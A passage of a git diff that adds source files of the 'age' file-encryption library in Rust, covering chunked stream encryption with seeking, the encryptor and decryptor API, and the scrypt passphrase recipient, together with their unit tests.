(target_chunk_index * ENCRYPTED_CHUNK_SIZE as u64), + ))?; + self.stream.nonce.set_counter(target_chunk_index); + self.cur_plaintext_pos = target_chunk_index * CHUNK_SIZE as u64; + + // Read and drop bytes from the chunk to reach the target position. + if target_chunk_offset > 0 { + let mut to_drop = vec![0; target_chunk_offset as usize]; + self.read_exact(&mut to_drop)?; + } + // We need to handle the edge case where the last chunk is not short, and + // `target_pos == self.len()` (so `target_chunk_index` points to the chunk + // after the last chunk). The next read would return no bytes, but because + // `target_chunk_offset == 0` we weren't forced to read past any in-chunk + // bytes, and thus have not set the `last` flag on the nonce. + // + // To handle this edge case, when `target_pos` is a multiple of the chunk + // size (i.e. this conditional branch), we compute the length of the + // plaintext. This is cached, so the overhead should be minimal. + else if target_pos == self.len()? { + self.stream + .nonce + .set_last(true) + .expect("We unset the last chunk flag earlier"); + } + } + + // All done! + Ok(target_pos) + } +} + +#[cfg(test)] +mod tests { + use age_core::secrecy::ExposeSecret; + use std::io::{self, Cursor, Read, Seek, SeekFrom, Write}; + + use super::{PayloadKey, Stream, CHUNK_SIZE}; + + #[cfg(feature = "async")] + use futures::{ + io::{AsyncRead, AsyncWrite}, + pin_mut, + task::Poll, + }; + #[cfg(feature = "async")] + use futures_test::task::noop_context; + + #[test] + fn chunk_round_trip() { + let data = vec![42; CHUNK_SIZE]; + + let encrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + s.encrypt_chunk(&data, false).unwrap() + }; + + let decrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + s.decrypt_chunk(&encrypted, false).unwrap() + }; + + assert_eq!(decrypted.expose_secret(), &data); + } + + #[test] + fn last_chunk_round_trip() { + let data = vec![42; CHUNK_SIZE]; + + let encrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + let res = s.encrypt_chunk(&data, true).unwrap(); + + // Further calls return an error + assert_eq!( + s.encrypt_chunk(&data, false).unwrap_err().kind(), + io::ErrorKind::WriteZero + ); + assert_eq!( + s.encrypt_chunk(&data, true).unwrap_err().kind(), + io::ErrorKind::WriteZero + ); + + res + }; + + let decrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + let res = s.decrypt_chunk(&encrypted, true).unwrap(); + + // Further calls return an error + match s.decrypt_chunk(&encrypted, false) { + Err(e) => assert_eq!(e.kind(), io::ErrorKind::InvalidData), + _ => panic!("Expected error"), + } + match s.decrypt_chunk(&encrypted, true) { + Err(e) => assert_eq!(e.kind(), io::ErrorKind::InvalidData), + _ => panic!("Expected error"), + } + + res + }; + + assert_eq!(decrypted.expose_secret(), &data); + } + + fn stream_round_trip(data: &[u8]) { + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(data).unwrap(); + w.finish().unwrap(); + }; + + let decrypted = { + let mut buf = vec![]; + let mut r = Stream::decrypt(PayloadKey([7; 32].into()), &encrypted[..]); + r.read_to_end(&mut buf).unwrap(); + buf + }; + + assert_eq!(decrypted, data); + } + + /// Check that we can encrypt an empty slice. + /// + /// This is the sole exception to the "last chunk must be non-empty" rule. + #[test] + fn stream_round_trip_empty() { + stream_round_trip(&[]); + } + + #[test] + fn stream_round_trip_short() { + stream_round_trip(&[42; 1024]); + } + + #[test] + fn stream_round_trip_chunk() { + stream_round_trip(&[42; CHUNK_SIZE]); + } + + #[test] + fn stream_round_trip_long() { + stream_round_trip(&[42; 100 * 1024]); + } + + #[cfg(feature = "async")] + fn stream_async_round_trip(data: &[u8]) { + let mut encrypted = vec![]; + { + let w = Stream::encrypt_async(PayloadKey([7; 32].into()), &mut encrypted); + pin_mut!(w); + + let mut cx = noop_context(); + + let mut tmp = data; + loop { + match w.as_mut().poll_write(&mut cx, tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(written)) => tmp = &tmp[written..], + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + loop { + match w.as_mut().poll_close(&mut cx) { + Poll::Ready(Ok(())) => break, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + let decrypted = { + let mut buf = vec![]; + let r = Stream::decrypt_async(PayloadKey([7; 32].into()), &encrypted[..]); + pin_mut!(r); + + let mut cx = noop_context(); + + let mut tmp = [0; 4096]; + loop { + match r.as_mut().poll_read(&mut cx, &mut tmp) { + Poll::Ready(Ok(0)) => break buf, + Poll::Ready(Ok(read)) => buf.extend_from_slice(&tmp[..read]), + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + assert_eq!(decrypted, data); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_round_trip_short() { + stream_async_round_trip(&[42; 1024]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_round_trip_chunk() { + stream_async_round_trip(&[42; CHUNK_SIZE]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_round_trip_long() { + stream_async_round_trip(&[42; 100 * 1024]); + } + + #[cfg(feature = "async")] + fn stream_async_io_copy(data: &[u8]) { + use futures::AsyncWriteExt; + + let runtime = tokio::runtime::Builder::new_current_thread() + .build() + .unwrap(); + let mut encrypted = vec![]; + let result = runtime.block_on(async { + let mut w = Stream::encrypt_async(PayloadKey([7; 32].into()), &mut encrypted); + match futures::io::copy(data, &mut w).await { + Ok(written) => { + w.close().await.unwrap(); + Ok(written) + } + Err(e) => Err(e), + } + }); + + match result { + Ok(written) => assert_eq!(written, data.len() as u64), + Err(e) => panic!("Unexpected error: {}", e), + } + + let decrypted = { + let mut buf = vec![]; + let result = runtime.block_on(async { + let r = Stream::decrypt_async(PayloadKey([7; 32].into()), &encrypted[..]); + futures::io::copy(r, &mut buf).await + }); + + match result { + Ok(written) => assert_eq!(written, data.len() as u64), + Err(e) => panic!("Unexpected error: {}", e), + } + + buf + }; + + assert_eq!(decrypted, data); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_io_copy_short() { + stream_async_io_copy(&[42; 1024]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_io_copy_chunk() { + stream_async_io_copy(&[42; CHUNK_SIZE]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_io_copy_long() { + stream_async_io_copy(&[42; 100 * 1024]); + } + + #[test] + fn stream_fails_to_decrypt_truncated_file() { + let data = vec![42; 2 * CHUNK_SIZE]; + + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&data).unwrap(); + // Forget to call w.finish()! + }; + + let mut buf = vec![]; + let mut r = Stream::decrypt(PayloadKey([7; 32].into()), &encrypted[..]); + assert_eq!( + r.read_to_end(&mut buf).unwrap_err().kind(), + io::ErrorKind::UnexpectedEof + ); + } + + #[test] + fn stream_seeking() { + let mut data = vec![0; 100 * 1024]; + for (i, b) in data.iter_mut().enumerate() { + *b = i as u8; + } + + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&data).unwrap(); + w.finish().unwrap(); + }; + + let mut r = Stream::decrypt(PayloadKey([7; 32].into()), Cursor::new(encrypted)); + + // Read through into the second chunk + let mut buf = vec![0; 100]; + for i in 0..700 { + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[100 * i..100 * (i + 1)]); + } + + // Seek back into the first chunk + r.seek(SeekFrom::Start(250)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[250..350]); + + // Seek forwards within this chunk + r.seek(SeekFrom::Current(510)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[860..960]); + + // Seek backwards from the end + r.seek(SeekFrom::End(-1337)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[data.len() - 1337..data.len() - 1237]); + } + + #[test] + fn seek_from_end_fails_on_truncation() { + // The plaintext is the string "hello" followed by 65536 zeros, just enough to + // give us some bytes to play with in the second chunk. + let mut plaintext: Vec = b"hello".to_vec(); + plaintext.extend_from_slice(&[0; 65536]); + + // Encrypt the plaintext just like the example code in the docs. + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&plaintext).unwrap(); + w.finish().unwrap(); + }; + + // First check the correct behavior of seeks relative to EOF. Create a decrypting + // reader, and move it one byte forward from the start, using SeekFrom::End. + // Confirm that reading 4 bytes from that point gives us "ello", as it should. + let mut reader = Stream::decrypt(PayloadKey([7; 32].into()), Cursor::new(&encrypted)); + let eof_relative_offset = 1_i64 - plaintext.len() as i64; + reader.seek(SeekFrom::End(eof_relative_offset)).unwrap(); + let mut buf = [0; 4]; + reader.read_exact(&mut buf).unwrap(); + assert_eq!(&buf, b"ello", "This is correct."); + + // Do the same thing again, except this time truncate the ciphertext by one byte + // first. This should cause some sort of error, instead of a successful read that + // returns the wrong plaintext. + let truncated_ciphertext = &encrypted[..encrypted.len() - 1]; + let mut truncated_reader = Stream::decrypt( + PayloadKey([7; 32].into()), + Cursor::new(truncated_ciphertext), + ); + // Use the same seek target as above. + match truncated_reader.seek(SeekFrom::End(eof_relative_offset)) { + Err(e) => { + assert_eq!(e.kind(), io::ErrorKind::InvalidData); + assert_eq!( + &e.to_string(), + "Last chunk is invalid, stream might be truncated", + ); + } + Ok(_) => panic!("This is a security issue."), + } + } + + #[test] + fn seek_from_end_with_exact_chunk() { + let plaintext: Vec = vec![42; 65536]; + + // Encrypt the plaintext just like the example code in the docs. + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&plaintext).unwrap(); + w.finish().unwrap(); + }; + + // Seek to the end of the plaintext before decrypting. + let mut reader = Stream::decrypt(PayloadKey([7; 32].into()), Cursor::new(&encrypted)); + reader.seek(SeekFrom::End(0)).unwrap(); + + // Reading should return no bytes, because we're already at EOF. + let mut buf = Vec::new(); + reader.read_to_end(&mut buf).unwrap(); + assert_eq!(buf.len(), 0); + } +} diff --git a/lib/rage/age/src/protocol.rs b/lib/rage/age/src/protocol.rs new file mode 100644 index 0000000..a29c447 --- /dev/null +++ b/lib/rage/age/src/protocol.rs @@ -0,0 +1,589 @@ +//! Encryption and decryption routines for age. + +use age_core::{format::is_arbitrary_string, secrecy::SecretString}; +use rand::{rngs::OsRng, RngCore}; + +use std::io::{self, BufRead, Read, Write}; +use std::iter; + +use crate::{ + error::{DecryptError, EncryptError}, + format::{Header, HeaderV1}, + keys::{mac_key, new_file_key, v1_payload_key}, + primitives::stream::{PayloadKey, Stream, StreamReader, StreamWriter}, + scrypt, Identity, Recipient, +}; + +#[cfg(feature = "async")] +use futures::io::{AsyncBufRead, AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt}; + +pub(crate) struct Nonce([u8; 16]); + +impl AsRef<[u8]> for Nonce { + fn as_ref(&self) -> &[u8] { + &self.0 + } +} + +impl Nonce { + fn random() -> Self { + let mut nonce = [0; 16]; + OsRng.fill_bytes(&mut nonce); + Nonce(nonce) + } + + fn read(input: &mut R) -> io::Result { + let mut nonce = [0; 16]; + input.read_exact(&mut nonce)?; + Ok(Nonce(nonce)) + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + async fn read_async(input: &mut R) -> io::Result { + let mut nonce = [0; 16]; + input.read_exact(&mut nonce).await?; + Ok(Nonce(nonce)) + } +} + +/// Encryptor for creating an age file. +pub struct Encryptor { + header: Header, + nonce: Nonce, + payload_key: PayloadKey, +} + +impl Encryptor { + /// Returns an `Encryptor` that will create an age file encrypted with a passphrase. + /// Anyone with the passphrase can decrypt the file. + /// + /// This API should only be used with a passphrase that was provided by (or generated + /// for) a human. For programmatic use cases, instead generate an [`x25519::Identity`] + /// and then use [`Encryptor::with_recipients`]. + /// + /// [`x25519::Identity`]: crate::x25519::Identity + pub fn with_user_passphrase(passphrase: SecretString) -> Self { + Self::with_recipients(iter::once(&scrypt::Recipient::new(passphrase) as _)) + .expect("no errors can occur with this recipient set") + } + + /// Constructs an `Encryptor` that will create an age file encrypted to a list of + /// recipients. + pub fn with_recipients<'a>( + recipients: impl Iterator, + ) -> Result { + let file_key = new_file_key(); + + let recipients = { + let mut control = None; + + let mut stanzas = vec![]; + let mut have_recipients = false; + for recipient in recipients { + have_recipients = true; + let (mut r_stanzas, r_labels) = recipient.wrap_file_key(&file_key)?; + + if let Some(l_labels) = control.take() { + if l_labels != r_labels { + // Improve error message. + let err = if stanzas + .iter() + .chain(&r_stanzas) + .any(|stanza| stanza.tag == crate::scrypt::SCRYPT_RECIPIENT_TAG) + { + EncryptError::MixedRecipientAndPassphrase + } else { + EncryptError::IncompatibleRecipients { l_labels, r_labels } + }; + return Err(err); + } + control = Some(l_labels); + } else if r_labels.iter().all(is_arbitrary_string) { + control = Some(r_labels); + } else { + return Err(EncryptError::InvalidRecipientLabels(r_labels)); + } + + stanzas.append(&mut r_stanzas); + } + if !have_recipients { + return Err(EncryptError::MissingRecipients); + } + stanzas + }; + + let header = HeaderV1::new(recipients, mac_key(&file_key))?; + let nonce = Nonce::random(); + let payload_key = v1_payload_key(&file_key, &header, &nonce).expect("MAC is correct"); + + Ok(Self { + header: Header::V1(header), + nonce, + payload_key, + }) + } + + /// Creates a wrapper around a writer that will encrypt its input. + /// + /// Returns errors from the underlying writer while writing the header. + /// + /// You **MUST** call [`StreamWriter::finish`] when you are done writing, in order to + /// finish the encryption process. Failing to call [`StreamWriter::finish`] will + /// result in a truncated file that will fail to decrypt. + pub fn wrap_output(self, mut output: W) -> io::Result> { + let Self { + header, + nonce, + payload_key, + } = self; + header.write(&mut output)?; + output.write_all(nonce.as_ref())?; + Ok(Stream::encrypt(payload_key, output)) + } + + /// Creates a wrapper around a writer that will encrypt its input. + /// + /// Returns errors from the underlying writer while writing the header. + /// + /// You **MUST** call [`AsyncWrite::poll_close`] when you are done writing, in order + /// to finish the encryption process. Failing to call [`AsyncWrite::poll_close`] + /// will result in a truncated file that will fail to decrypt. + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub async fn wrap_async_output( + self, + mut output: W, + ) -> io::Result> { + let Self { + header, + nonce, + payload_key, + } = self; + header.write_async(&mut output).await?; + output.write_all(nonce.as_ref()).await?; + Ok(Stream::encrypt_async(payload_key, output)) + } +} + +/// Decryptor for an age file. +pub struct Decryptor { + /// The age file. + input: R, + /// The age file's header. + header: Header, + /// The age file's AEAD nonce + nonce: Nonce, +} + +impl Decryptor { + fn from_v1_header(input: R, header: HeaderV1, nonce: Nonce) -> Result { + // Enforce structural requirements on the v1 header. + if header.is_valid() { + Ok(Self { + input, + header: Header::V1(header), + nonce, + }) + } else { + Err(DecryptError::InvalidHeader) + } + } + + /// Returns `true` if the age file is encrypted to a passphrase. + pub fn is_scrypt(&self) -> bool { + match &self.header { + Header::V1(header) => header.valid_scrypt(), + Header::Unknown(_) => false, + } + } + + fn obtain_payload_key<'a>( + &self, + mut identities: impl Iterator, + ) -> Result { + match &self.header { + Header::V1(header) => identities + .find_map(|key| key.unwrap_stanzas(&header.recipients)) + .unwrap_or(Err(DecryptError::NoMatchingKeys)) + .and_then(|file_key| v1_payload_key(&file_key, header, &self.nonce)), + Header::Unknown(_) => unreachable!(), + } + } +} + +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor will work with any type implementing [`io::Read`], and uses a + /// slower parser and internal buffering to ensure no overreading occurs. Consider + /// using [`Decryptor::new_buffered`] for types implementing `std::io::BufRead`, which + /// includes `&[u8]` slices. + pub fn new(mut input: R) -> Result { + let header = Header::read(&mut input)?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read(&mut input)?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } + + /// Attempts to decrypt the age file. + /// + /// If successful, returns a reader that will provide the plaintext. + pub fn decrypt<'a>( + self, + identities: impl Iterator, + ) -> Result, DecryptError> { + self.obtain_payload_key(identities) + .map(|payload_key| Stream::decrypt(payload_key, self.input)) + } +} + +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor is more performant than [`Decryptor::new`] for types implementing + /// [`io::BufRead`], which includes `&[u8]` slices. + pub fn new_buffered(mut input: R) -> Result { + let header = Header::read_buffered(&mut input)?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read(&mut input)?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor will work with any type implementing [`AsyncRead`], and uses a + /// slower parser and internal buffering to ensure no overreading occurs. Consider + /// using [`Decryptor::new_async_buffered`] for types implementing [`AsyncBufRead`], + /// which includes `&[u8]` slices. + pub async fn new_async(mut input: R) -> Result { + let header = Header::read_async(&mut input).await?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read_async(&mut input).await?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } + + /// Attempts to decrypt the age file. + /// + /// If successful, returns a reader that will provide the plaintext. + pub fn decrypt_async<'a>( + self, + identities: impl Iterator, + ) -> Result, DecryptError> { + self.obtain_payload_key(identities) + .map(|payload_key| Stream::decrypt_async(payload_key, self.input)) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor is more performant than [`Decryptor::new_async`] for types + /// implementing [`AsyncBufRead`], which includes `&[u8]` slices. + pub async fn new_async_buffered(mut input: R) -> Result { + let header = Header::read_async_buffered(&mut input).await?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read_async(&mut input).await?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } +} + +#[cfg(test)] +mod tests { + use std::collections::HashSet; + use std::io::{BufReader, Read, Write}; + + use age_core::secrecy::SecretString; + + #[cfg(feature = "ssh")] + use std::iter; + + use super::{Decryptor, Encryptor}; + use crate::{identity::IdentityFile, scrypt, x25519, EncryptError, Identity, Recipient}; + + #[cfg(feature = "async")] + use futures::{ + io::{AsyncRead, AsyncWrite}, + pin_mut, + task::Poll, + Future, + }; + #[cfg(feature = "async")] + use futures_test::task::noop_context; + + fn recipient_round_trip<'a>( + recipients: impl Iterator, + identities: impl Iterator, + ) { + let test_msg = b"This is a test message. For testing."; + + let mut encrypted = vec![]; + let e = Encryptor::with_recipients(recipients).unwrap(); + { + let mut w = e.wrap_output(&mut encrypted).unwrap(); + w.write_all(test_msg).unwrap(); + w.finish().unwrap(); + } + + let d = Decryptor::new(&encrypted[..]).unwrap(); + let mut r = d.decrypt(identities).unwrap(); + let mut decrypted = vec![]; + r.read_to_end(&mut decrypted).unwrap(); + + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[cfg(feature = "async")] + fn recipient_async_round_trip<'a>( + recipients: impl Iterator, + identities: impl Iterator, + ) { + let test_msg = b"This is a test message. For testing."; + let mut cx = noop_context(); + + let mut encrypted = vec![]; + let e = Encryptor::with_recipients(recipients).unwrap(); + { + let w = { + let f = e.wrap_async_output(&mut encrypted); + pin_mut!(f); + + loop { + match f.as_mut().poll(&mut cx) { + Poll::Ready(Ok(w)) => break w, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + pin_mut!(w); + + let mut tmp = &test_msg[..]; + loop { + match w.as_mut().poll_write(&mut cx, tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(written)) => tmp = &tmp[written..], + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + loop { + match w.as_mut().poll_close(&mut cx) { + Poll::Ready(Ok(())) => break, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + } + + let d = { + let f = Decryptor::new_async(&encrypted[..]); + pin_mut!(f); + + loop { + match f.as_mut().poll(&mut cx) { + Poll::Ready(Ok(w)) => break w, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + let decrypted = { + let mut buf = vec![]; + let r = d.decrypt_async(identities).unwrap(); + pin_mut!(r); + + let mut tmp = [0; 4096]; + loop { + match r.as_mut().poll_read(&mut cx, &mut tmp) { + Poll::Ready(Ok(0)) => break buf, + Poll::Ready(Ok(read)) => buf.extend_from_slice(&tmp[..read]), + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[test] + fn x25519_round_trip() { + let buf = BufReader::new(crate::x25519::tests::TEST_SK.as_bytes()); + let f = IdentityFile::from_buffer(buf).unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + recipient_round_trip( + iter::once(&pk as _), + f.into_identities().unwrap().iter().map(|i| i.as_ref()), + ); + } + + #[cfg(feature = "async")] + #[test] + fn x25519_async_round_trip() { + let buf = BufReader::new(crate::x25519::tests::TEST_SK.as_bytes()); + let f = IdentityFile::from_buffer(buf).unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + recipient_async_round_trip( + iter::once(&pk as _), + f.into_identities().unwrap().iter().map(|i| i.as_ref()), + ); + } + + #[test] + fn scrypt_round_trip() { + let test_msg = b"This is a test message. For testing."; + + let mut recipient = scrypt::Recipient::new(SecretString::from("passphrase".to_string())); + // Override to something very fast for testing. + recipient.set_work_factor(2); + + let mut encrypted = vec![]; + let e = Encryptor::with_recipients(iter::once(&recipient as _)).unwrap(); + { + let mut w = e.wrap_output(&mut encrypted).unwrap(); + w.write_all(test_msg).unwrap(); + w.finish().unwrap(); + } + + let d = Decryptor::new(&encrypted[..]).unwrap(); + let mut r = d + .decrypt( + Some(&scrypt::Identity::new(SecretString::from("passphrase".to_string())) as _) + .into_iter(), + ) + .unwrap(); + let mut decrypted = vec![]; + r.read_to_end(&mut decrypted).unwrap(); + + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[cfg(feature = "ssh")] + #[test] + fn ssh_rsa_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_RSA_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_RSA_PK + .parse() + .unwrap(); + recipient_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[cfg(all(feature = "ssh", feature = "async"))] + #[test] + fn ssh_rsa_async_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_RSA_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_RSA_PK + .parse() + .unwrap(); + recipient_async_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[cfg(feature = "ssh")] + #[test] + fn ssh_ed25519_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_ED25519_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_ED25519_PK + .parse() + .unwrap(); + recipient_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[cfg(all(feature = "ssh", feature = "async"))] + #[test] + fn ssh_ed25519_async_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_ED25519_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_ED25519_PK + .parse() + .unwrap(); + recipient_async_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[test] + fn mixed_recipient_and_passphrase() { + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let passphrase = + crate::scrypt::Recipient::new(SecretString::from("passphrase".to_string())); + + let recipients = [&pk as &dyn Recipient, &passphrase as _]; + + assert!(matches!( + Encryptor::with_recipients(recipients.into_iter()), + Err(EncryptError::MixedRecipientAndPassphrase), + )); + } + + struct IncompatibleRecipient(crate::x25519::Recipient); + + impl Recipient for IncompatibleRecipient { + fn wrap_file_key( + &self, + file_key: &age_core::format::FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + self.0.wrap_file_key(file_key).map(|(stanzas, mut labels)| { + labels.insert("incompatible".into()); + (stanzas, labels) + }) + } + } + + #[test] + fn incompatible_recipients() { + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let incompatible = IncompatibleRecipient(pk.clone()); + + let recipients = [&pk as &dyn Recipient, &incompatible as _]; + + assert!(matches!( + Encryptor::with_recipients(recipients.into_iter()), + Err(EncryptError::IncompatibleRecipients { .. }), + )); + } +} diff --git a/lib/rage/age/src/scrypt.rs b/lib/rage/age/src/scrypt.rs new file mode 100644 index 0000000..60938e8 --- /dev/null +++ b/lib/rage/age/src/scrypt.rs @@ -0,0 +1,271 @@ +//! The "scrypt" passphrase-based recipient type, native to age. + +use std::collections::HashSet; +use std::iter; +use std::time::Duration; + +use age_core::{ + format::{FileKey, Stanza, FILE_KEY_BYTES}, + primitives::{aead_decrypt, aead_encrypt}, + secrecy::{ExposeSecret, SecretString}, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use rand::{ + distributions::{Alphanumeric, DistString}, + rngs::OsRng, + RngCore, +}; +use zeroize::Zeroize; + +use crate::{ + error::{DecryptError, EncryptError}, + primitives::scrypt, + util::read::{base64_arg, decimal_digit_arg}, +}; + +pub(super) const SCRYPT_RECIPIENT_TAG: &str = "scrypt"; +const SCRYPT_SALT_LABEL: &[u8] = b"age-encryption.org/v1/scrypt"; +const ONE_SECOND: Duration = Duration::from_secs(1); + +const SALT_LEN: usize = 16; +const ENCRYPTED_FILE_KEY_BYTES: usize = FILE_KEY_BYTES + 16; + +/// Pick an scrypt work factor that will take around 1 second on this device. +/// +/// Guaranteed to return a valid work factor (less than 64). +fn target_scrypt_work_factor() -> u8 { + let measure_duration = |log_n| { + // Platforms that have a functional SystemTime::now(): + #[cfg(not(all(target_arch = "wasm32", not(target_os = "wasi"))))] + { + use std::time::SystemTime; + let start = SystemTime::now(); + scrypt(&[], log_n, "").expect("log_n < 64"); + SystemTime::now().duration_since(start).ok() + } + + // Platforms that can use Performance timer + #[cfg(all(target_arch = "wasm32", not(target_os = "wasi"), feature = "web-sys"))] + { + web_sys::window().and_then(|window| { + { window.performance() }.map(|performance| { + let start = performance.now(); + scrypt(&[], log_n, "").expect("log_n < 64"); + Duration::from_secs_f64((performance.now() - start) / 1_000e0) + }) + }) + } + + // Platforms where SystemTime::now() panics: + #[cfg(all( + target_arch = "wasm32", + not(target_os = "wasi"), + not(feature = "web-sys") + ))] + { + None + } + }; + + // Time a work factor that should always be fast. + let mut log_n = 10; + let mut duration: Option = measure_duration(log_n); + while duration.map(|d| d.is_zero()).unwrap_or(false) { + // On some newer platforms, the work factor may be so fast that it is cannot be + // measured. Increase the work factor until we can measure something. + log_n += 1; + duration = measure_duration(log_n); + } + + duration + .map(|mut d| { + // Use duration as a proxy for CPU usage, which scales linearly with N. + while d < ONE_SECOND && log_n < 63 { + log_n += 1; + d *= 2; + } + log_n + }) + .unwrap_or({ + // Couldn't measure, so guess. This is roughly 1 second on a modern machine. + 18 + }) +} + +/// A passphrase-based recipient. Anyone with the passphrase can decrypt the file. +/// +/// If an `scrypt::Recipient` is used, it must be the only recipient for the file: it +/// can't be mixed with other recipient types and can't be used multiple times for the +/// same file. +/// +/// This API should only be used with a passphrase that was provided by (or generated +/// for) a human. For programmatic use cases, instead generate an [`x25519::Identity`]. +/// +/// [`x25519::Identity`]: crate::x25519::Identity +pub struct Recipient { + passphrase: SecretString, + log_n: u8, +} + +impl Recipient { + /// Constructs a new `Recipient` with the given passphrase. + /// + /// The scrypt work factor is picked to target about 1 second for encryption or + /// decryption on this device. Override it with [`Self::set_work_factor`]. + pub fn new(passphrase: SecretString) -> Self { + Self { + passphrase, + log_n: target_scrypt_work_factor(), + } + } + + /// Sets the scrypt work factor to `N = 2^log_n`. + /// + /// This method must be called before [`Self::wrap_file_key`] to have an effect. + /// + /// [`Self::wrap_file_key`]: crate::Recipient::wrap_file_key + /// + /// # Panics + /// + /// Panics if `log_n == 0` or `log_n >= 64`. + pub fn set_work_factor(&mut self, log_n: u8) { + assert!(0 < log_n && log_n < 64); + self.log_n = log_n; + } +} + +impl crate::Recipient for Recipient { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + let mut rng = OsRng; + + let mut salt = [0; SALT_LEN]; + rng.fill_bytes(&mut salt); + + let mut inner_salt = [0; SCRYPT_SALT_LABEL.len() + 